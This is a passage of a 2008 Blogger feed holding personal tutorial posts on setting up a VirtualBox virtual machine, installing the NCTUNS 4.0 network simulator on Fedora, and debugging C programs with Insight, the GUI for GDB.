installation.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/0ce-2h538vm6PL0IpGazag?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh6.ggpht.com/_Pms4ehFPMfI/SRMxn8fTtBI/AAAAAAAAAdw/X5wAm8cs5m8/s400/creating.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: justify;"&gt;Now you are done with creating hard disk required for your for your virtual system and click OK on Disk Manager. Now its time to setup your machine. Click on &lt;i&gt;New &lt;/i&gt;button you can see in tooll bar. Virtual Machine wizzard will pop up. Give a name to your virtual machine and select OS from the drop down list. See image below.&lt;/div&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/XZjFMkLgcpYUCE2mg6f_lg?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh4.ggpht.com/_Pms4ehFPMfI/SRMxoEk4QBI/AAAAAAAAAeA/_d_B9-Hpago/s400/new_vm.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: justify;"&gt;Click &lt;i&gt;Next, &lt;/i&gt;next window allows to specify RAM for your virtual system. Beaware the amount specified will be used by virtual machine when you start it so first confirm how much RAM your system is having and then allocate wisely to your virtual machine. See image below I have 512MB RAM so allocated 256MB to virtual machine.&lt;/div&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/VH1KDldOSoUwr7EQpKJL2A?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh3.ggpht.com/_Pms4ehFPMfI/SRMxn8ZAEyI/AAAAAAAAAd4/Ry4IJHeBV0k/s400/memory.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: justify;"&gt;Click next and you now have to allocate hard disk for your system. Since we allready created the hard disks just click on &lt;i&gt;Existing &lt;/i&gt;allocate one of already created and click next and click &lt;i&gt;Finish. &lt;/i&gt;Your virtual machine is ready,&amp;nbsp; there are few things you need to do before you can start your virtual machine. Sice maximum possible hard disk allocated by virtual box is 3.5GB you may want to add some more space. Now click on Hard Disk in the main window and settings of virtual machine will pop up there click on Attach New Hard Disk icon and attach how much ever spce you want. See image below.&lt;/div&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/5xu3WiYw5ZRufXAKVyz3aw?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh5.ggpht.com/_Pms4ehFPMfI/SRMxnuHTHoI/AAAAAAAAAdo/5AFzu4Ouh-k/s400/attaching.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: justify;"&gt;Now in the &lt;i&gt;Settings&lt;/i&gt; window click on &lt;i&gt;CD-ROM &lt;/i&gt;tab and check Mount CD/DVD Drive and then click Ok. See image below.&lt;/div&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/ZyCTQ8FZbLdY53W2LVJyJw?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh6.ggpht.com/_Pms4ehFPMfI/SRMzLwufq_I/AAAAAAAAAeQ/Q2psmTsnfzA/s400/mount_cd.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="text-align: justify;"&gt;You may also want to share some folders in your system with you virtual machine that also you can do it just click on &lt;i&gt;Shared Folders &lt;/i&gt;tab and browse and add file you require. But remember the folder name since you&amp;nbsp; need it to mount it in virtual machine.&lt;/div&gt;&lt;table style="width: auto;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://picasaweb.google.co.in/lh/photo/3SqsJUMt_hzIRHDS4NLp-Q?authkey=NQUrepF46Og"&gt;&lt;img src="http://lh5.ggpht.com/_Pms4ehFPMfI/SRMxoP6JqgI/AAAAAAAAAeI/-XcaDwfkRZs/s400/share_folder.JPG" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="font-family: arial,sans-serif; font-size: 11px; text-align: right;"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;Now you are done start the vitual machine and install your OS and enjoy the Virtualization :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-5457976789449250143?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/11/virtualisation-using-virtual-box.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5457976789449250143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/5457976789449250143'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/11/virtualisation-using-virtual-box.html' title='Virtualisation Using Virtual Box'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_Pms4ehFPMfI/SRMwr6rPTxI/AAAAAAAAAdA/6PSc0W-HRPU/s72-c/vdiskmanager.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6582753268226666358</id><published>2008-11-05T10:38:00.000-08:00</published><updated>2008-12-02T19:23:27.552-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nctuns'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>NCTUNS 4.0 Installation Help</title><content type='html'>&lt;div style="text-align: justify;"&gt;NCTUNS is a network simulator. I came accross it in my network laboratory. There are several versions of it Currently it is NCTUNS 5.0. I'm using NCTUNS 4.0 which requires Fedora 8 but it can aslo be installed in Fedora 7. I'm mainly writing this blog to help my friends who want to install and work in NCTUNS (atleast during their exams :) ).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Firs thing to be done is to download the NCTUNs package(tar.gz format) at this &lt;a href="http://nsl.csie.nctu.edu.tw/nctuns.html."&gt;link&lt;/a&gt;.NCTUNS 4.0 provides simulation of IEEE 802.16(d) (WiMAX),DVB-RCS satalite networks etc.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;After you downloaded the file copy it into your home directory. You should remember to &lt;u&gt;&lt;i&gt;login as root&lt;/i&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/u&gt; user for installation. Also as per installation guide you should use either &lt;u&gt;&lt;i&gt;bash/tcsh&lt;/i&gt;&lt;/u&gt;  shell for installation. Now extract files from package. For this you need to launch &lt;i&gt;terminal&lt;/i&gt; and type following command.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;tar -xvf NCTUns-allinone-linux-2.6.24.2-f8.20080225.tar&lt;/i&gt;&lt;/b&gt;(or whatever the downloaded file name is)&lt;/blockquote&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Next change into extracted directory, by default it is NCTUNs 4.0. List the files you will find &lt;b&gt;&lt;u&gt;&lt;i&gt;install.sh&lt;/i&gt;&lt;/u&gt; &lt;/b&gt;before you start installation make sure you have disabled &lt;i&gt;SELinux &lt;/i&gt;and &lt;i&gt;Firewall. &lt;/i&gt;If you didn't your nctuns will not launch properly after installations and you may have to reinstall it.After disabling the SELinux and Firewalls execute &lt;i&gt;install.sh &lt;/i&gt;file.&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;b&gt;&lt;i&gt;./install.sh&lt;/i&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Help for installation can be found by passing &lt;b&gt;&lt;i&gt;-h &lt;/i&gt;&lt;/b&gt;switch to install.sh.(&lt;i&gt;./install.sh -h&lt;/i&gt;).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;During installation it may ask you several questions since we are installing in normal mode just type &lt;b&gt;&lt;i&gt;Yes&lt;/i&gt;&lt;/b&gt; or simply &lt;b&gt;&lt;i&gt;y&lt;/i&gt;&lt;/b&gt;. It takes little time for installing new &lt;i&gt;NCTUNs kernel&lt;/i&gt;. If you already installed older version it will upgrade the kernel. After installation is done shell prompt returns. Reboot the system and in the GRUB boot loader you will find new entry &lt;i&gt;nctuns4.0&lt;/i&gt;. Choose the newly installed NCTUNs client and boot the system installation is done. :)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Now before you can launch NCTUNs client you need to do certain changes in &lt;b&gt;&lt;i&gt;.bashrc&lt;/i&gt;&lt;/b&gt;(bash shell) file. That is you need set 3 environment variable. Since we did a normal installation default location of installation is &lt;u&gt;&lt;i&gt;/usr/local/nctuns.&lt;/i&gt;&lt;/u&gt;&lt;i&gt; &lt;/i&gt;Just add the following line to&lt;i&gt; &lt;/i&gt;.bashrc shell configuration file.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; export NCTUNSHOME=/usr/local/nctuns&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; export NCTUNS_TOOLS=/usr/local/nctuns/tools&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; export NCTUNS_BIN=/usr/local/nctuns/bin&lt;/b&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Then add the following line to set all the environment variables, if you do not you need to set these variable before you launch nctuns program.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; source /usr/local/nctuns/etc/nctuns.bash(.csh for cshell)&lt;br /&gt;&lt;/b&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;After these changes are made create user by name &lt;i&gt;nctuns&lt;/i&gt; and password &lt;i&gt;nctuns&lt;/i&gt;, if you didn't create user you wont be able to launch &lt;i&gt;ping&lt;/i&gt; window.After you are finished save and exit from shell prompt, then reopen shell promapt, open 3 tabs. In first tab type &lt;u&gt;&lt;i&gt;dispatcher&lt;/i&gt;&lt;/u&gt; and press enter. In the second tab type &lt;u&gt;&lt;i&gt;coordinator&lt;/i&gt;&lt;/u&gt;, In the third window enter &lt;u&gt;&lt;i&gt;nctunsclient&lt;/i&gt;&lt;/u&gt;. These set of commands will launch NCTUNs window. Go on and do the simulations. :)&lt;/div&gt;&lt;div style="color: red; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="color: red;"&gt;Note: The above said procedure is for bash shell only. Also don't forget to disable 3D Desktop effect otherwise your NCTUNs window will go black each time you click on some icons.Also you can add the above mentioned lines any where in .bashrc but please don't change whatever already there in the file.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-6582753268226666358?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2008/11/nctuns-40-installation-help.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6582753268226666358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/6582753268226666358'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2008/11/nctuns-40-installation-help.html' title='NCTUNS 4.0 Installation Help'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-4120434840197986318</id><published>2008-10-30T10:02:00.000-07:00</published><updated>2008-10-30T11:27:32.278-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='insight tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><category scheme='http://www.blogger.com/atom/ns#' term='Debuggers'/><title type='text'>GDB's GUI "insight" Tutorial</title><content type='html'>&lt;div style="text-align: justify;"&gt;I already have written a blog mentioning about a GUI for gdb. Today I'm going to give a brief tutorial of how to install insight and some basics for using the insight in debugging your programs. As I mentioned earlier this program can be downloaded from this &lt;a href="http://sources.redhat.com/insight/"&gt;link.&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;To install insight you first need to extract the insight folder from archive using following command&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;[root@localhost ~]# tar -xvf filename&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Once extracting is done enter the insight's directory and use following commands for installing&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;&lt;blockquote&gt; [root@localhost insight]# ./configure&amp;nbsp;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;div style="text-align: center;"&gt;&lt;blockquote&gt;&lt;blockquote&gt;&lt;blockquote&gt;[root@localhost insight]# make&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;blockquote&gt;[root@localhost insight]# make install&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Note that all these commands will take some time to finish so have pateince till they finish :)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;To begin with any executable file that you want to debug&amp;nbsp; must contain a debugging information in it, this info is generated by compiler when we specify &lt;i&gt;-ggdb&lt;/i&gt; or &lt;i&gt;-g&lt;/i&gt; switch to the compiler either it is c(gcc) or c++(g++) . To launch insight you just have to type insight in shell prompt. The GUI version of gdb will be&amp;nbsp; launched and you can have a look at it in the following image.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnw__buRAI/AAAAAAAAAcg/V7xpYPiU9W8/s1600-h/Screenshot-Source+Window.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnw__buRAI/AAAAAAAAAcg/sRwp0uKGR6U/s400-R/Screenshot-Source+Window.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;To load your executable file click on &lt;i&gt;File&lt;/i&gt; tab and click &lt;i&gt;Open&lt;/i&gt; as shown above this will open up a file browsing window from where you can select your executable file. See image below.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvBiZAfvI/AAAAAAAAAbI/caOZ33Et_AU/s1600-h/Screenshot-Load+New+Executable.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvBiZAfvI/AAAAAAAAAbI/0GgeGwqdXSM/s400-R/Screenshot-Load+New+Executable.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Once the file is loaded you can see your program in the main window with "-" symbol at place where you can insert break points. When you insert break points you can see a "red" square dot to specify break points. See image below&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQnuzyI9c8I/AAAAAAAAAaw/b8GHAT9RlJI/s1600-h/Screenshot-leaky.c+-+Source+Window.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQnuzyI9c8I/AAAAAAAAAaw/XdzItonB9bk/s400-R/Screenshot-leaky.c+-+Source+Window.png" /&gt;&lt;/a&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnu6TqEHSI/AAAAAAAAAa4/RdE_5hPMx_U/s1600-h/Screenshot-leaky.c+-+Source+Window-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnu6TqEHSI/AAAAAAAAAa4/YBV3Z6-Vtr4/s400-R/Screenshot-leaky.c+-+Source+Window-1.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;You can see a animation of a man running in the top left corner in the tool bar it is the button for running your program click on it program will star and stop at your first break point. You can make out this by seeing the color of break point line which will now turn into green. The button next is to &lt;i&gt;step&lt;/i&gt; that is line by line execution and the one next to it is for &lt;i&gt;next&lt;/i&gt; instruction of gdb difference between &lt;i&gt;next&lt;/i&gt; and &lt;i&gt;step&lt;/i&gt; is that if current instruction is a function call &lt;i&gt;step&lt;/i&gt; will&amp;nbsp; step into function where as &lt;i&gt;next&lt;/i&gt; executes entire function and stops at instruction next to function call.&amp;nbsp; The&amp;nbsp; next 2 buttons are &lt;i&gt;finish&lt;/i&gt; and &lt;i&gt;continue&lt;/i&gt;. &lt;i&gt;Finish&lt;/i&gt; resumes normal execution ignoring all further break points where as &lt;i&gt;continue&lt;/i&gt; executes all instruction till next break point is encountered. Next to buttons are for assembly language executing. Which is not required by normal users (it is for developer designig inbuilt functions or system calls).&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvbR1lFPI/AAAAAAAAAbo/yZqzMq_wews/s1600-h/Screenshot-leaky.c+-+Source+Window-6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvbR1lFPI/AAAAAAAAAbo/zGSrtJKsodE/s400-R/Screenshot-leaky.c+-+Source+Window-6.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Thinking of how to see and modify variable value? Well click on the view tab you have a set of options there.&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnu_OFWhKI/AAAAAAAAAbA/dxiIpWj9akM/s1600-h/Screenshot-leaky.c+-+Source+Window-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnu_OFWhKI/AAAAAAAAAbA/wJsIXa3-1uM/s400-R/Screenshot-leaky.c+-+Source+Window-3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;I'll start from basic one &lt;i&gt;Local Variables&lt;/i&gt;. Click on this option a window consisting of all local variable of currently executing routine will open up. If you want to change any variable value you just need to right click(hold) and click on edit which will make a text box to appear where you can enter new value or modify existing one. See following images.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnvihXD83I/AAAAAAAAAbw/FHLvSPtwwsU/s1600-h/Screenshot-Local+Variables.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnvihXD83I/AAAAAAAAAbw/d8GvGAasLy8/s320-R/Screenshot-Local+Variables.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQnvnfPb32I/AAAAAAAAAb4/dxBiEfYbanA/s1600-h/Screenshot-Local+Variables-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Pms4ehFPMfI/SQnvnfPb32I/AAAAAAAAAb4/RUVBXrT0ZAM/s320-R/Screenshot-Local+Variables-1.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;Next let us see the &lt;i&gt;Watch Expression&lt;/i&gt; option. When you use you will notice that some variables which are globals are not listed. For global variables we use Watch expression. Here you can even enter expression like &lt;i&gt;root[i]&lt;/i&gt; (say) and find their value during each step in execution. You can edit values using similar steps as local variables which I mentioned above.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQnv1vdNPuI/AAAAAAAAAcI/2htvdBAqOao/s1600-h/Screenshot-Watch.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pms4ehFPMfI/SQnv1vdNPuI/AAAAAAAAAcI/ltV5bt-blYw/s320-R/Screenshot-Watch.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&amp;nbsp;As you can see in image array variables are collapsible structures to see their values, one in the image is multi dimensional array.&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Other options:&lt;br /&gt;1.&lt;i&gt;Stack Trace &lt;/i&gt;can be used to keep track of nested function calls especially helpful in recursive functions.&lt;br /&gt;2.&lt;i&gt;Memory Dump&lt;/i&gt; provides you with memory lay out of the program you can see where in the memory are variables are stored using this.&lt;br /&gt;3.&lt;i&gt;Registers&lt;/i&gt; provide you with CPU register contents useful if you are using register like key word.&lt;br /&gt;4.&lt;i&gt;Console&lt;/i&gt;: this for the one who is missing old command line GDB :)&lt;br /&gt;5.&lt;i&gt;Function Browser&lt;/i&gt; provides details of set of functions declared in current program.&lt;br /&gt;6.&lt;i&gt;Breakpoints&lt;/i&gt; provides list of break points in current program.&lt;br /&gt;7.&lt;i&gt;Thread List&lt;/i&gt; for thread programmers.&lt;br /&gt;Below are some snap shots of some of these options.&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvvNAuwTI/AAAAAAAAAcA/oiaIKW4WpIc/s1600-h/Screenshot-Registers.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnvvNAuwTI/AAAAAAAAAcA/uW3edxMWS2w/s400-R/Screenshot-Registers.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;i&gt;&lt;u&gt;Registers&lt;/u&gt;&lt;/i&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnv_i339YI/AAAAAAAAAcY/0dtWcA11neo/s1600-h/Screenshot-Console+Window.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Pms4ehFPMfI/SQnv_i339YI/AAAAAAAAAcY/19CSI0di8vg/s400-R/Screenshot-Console+Window.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;i&gt;&lt;u&gt;Console&lt;/u&gt;&lt;/i&gt;&amp;nbsp;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;You have to remember this unlike other debuggers in Linux(kdbg) insight should be launched from&amp;nbsp; shell console otherwise you won't be able to recive inputs or see outputs of an interactive program. Following screen shot displays insight utilizing shell console to get the input.&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnv73dzGEI/AAAAAAAAAcQ/80iBcVaGtj0/s1600-h/Screenshot-Test_CN+-+Shell++-+Konsole.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Pms4ehFPMfI/SQnv73dzGEI/AAAAAAAAAcQ/v0DBzGSkCrA/s400-R/Screenshot-Test_CN+-+Shell++-+Konsole.png" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;insight&lt;/i&gt; also helps in advanced debugging as you can see in first image of this article, at top right corner of tool bar a drop down list is provided with following views.&lt;/div&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;Source (Normal 